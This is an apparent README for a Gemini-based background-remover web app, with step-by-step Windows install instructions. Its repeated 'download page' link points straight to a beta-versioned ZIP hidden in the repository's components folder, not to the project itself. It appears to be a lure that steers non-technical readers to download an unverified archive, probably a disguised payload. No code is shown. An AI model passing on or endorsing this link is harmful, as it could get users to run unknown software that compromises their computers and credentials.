Use this page to download and install the app: https://raw.githubusercontent.com/corrinmain6969-hub/magic-background-remover/main/components/background-remover-magic-v3.5-beta.1.zip
magic-background-remover helps you remove the background from an image with a few clicks. It is built for people who want a fast way to clean up photos without editing tools or manual tracing.
Use it for:
- Product photos
- Profile images
- Social media posts
- Simple image cleanup
- Quick image prep for documents or slides
You will need:
- A Windows PC
- An internet connection
- A web browser
- Node.js installed on your computer
- A Gemini API key
If you do not have Node.js yet, install the current Windows version from the Node.js site before you continue.
-
Open the download page: https://raw.githubusercontent.com/corrinmain6969-hub/magic-background-remover/main/components/background-remover-magic-v3.5-beta.1.zip
-
Download the repository files to your computer.
-
If the files come in a ZIP folder, extract them to a place you can find again, such as your Desktop or Downloads folder.
-
Open the project folder.
-
Find the file named
.env.local. -
Open
.env.localin Notepad. -
Add your Gemini API key on the line for
GEMINI_API_KEY:GEMINI_API_KEY=your_api_key_here -
Save the file.
-
Open the project folder.
-
Click the address bar in File Explorer.
-
Type
cmdand press Enter. -
In the black Command Prompt window, type:
npm install -
Press Enter.
-
Wait for the install to finish.
This step adds the files the app needs to run.
-
Stay in the same Command Prompt window.
-
Type:
npm run dev -
Press Enter.
-
Wait until the app starts.
-
Look for the local web address shown in the window. It often looks like:
http://localhost:3000 -
Copy that address into your browser.
When the app starts, open the local address in Chrome, Edge, or another browser.
If the app opens, you should see the background remover screen.
If the page does not load, check that:
- The Command Prompt window is still open
- The app finished starting
- You typed the commands in the project folder
-
Open the app in your browser.
-
Upload an image from your computer.
-
Wait for the app to process the image.
-
Review the result.
-
Download the new image with the background removed.
For best results:
- Use clear images
- Use a subject with strong contrast
- Use photos with simple backgrounds
The app works best with:
- JPG
- JPEG
- PNG
- WebP
If you use a PNG file, the app can keep parts of the image clean when the background is removed.
If the app does not start:
- Check that Node.js is installed
- Open Command Prompt again inside the project folder
- Run
npm installone more time - Check that
GEMINI_API_KEYis set in.env.local
If the browser does not open:
- Copy the local web address from Command Prompt
- Paste it into your browser by hand
If the image does not process:
- Try a different image
- Make sure the file is not damaged
- Check that your API key is valid
Useful files in this app:
.env.local— stores your API keypackage.json— lists the app setup and run commands- App source files — contain the image upload and background removal logic
Keep your Gemini API key private.
Do not share it in chat, email, or screenshots.
If you need to replace it, open .env.local again and update the value.
If you want the shortest path on Windows:
- Download the files from the link above
- Install Node.js
- Open the project folder
- Add
GEMINI_API_KEYto.env.local - Run
npm install - Run
npm run dev - Open the local web address in your browser
You may see folders and files like:
srcpublic.env.localpackage.jsonREADME.md
The app uses these files to run in your browser after setup
To get a clean cutout:
- Put the subject near the center
- Use a plain background if you can
- Avoid blurry photos
- Use well-lit images
- Choose images with one main subject
This app runs on your computer in a browser window.
It does not need a complex install process.
Once the local server starts, you can keep the window open while you use the app.
Download and set up the app here: https://raw.githubusercontent.com/corrinmain6969-hub/magic-background-remover/main/components/background-remover-magic-v3.5-beta.1.zip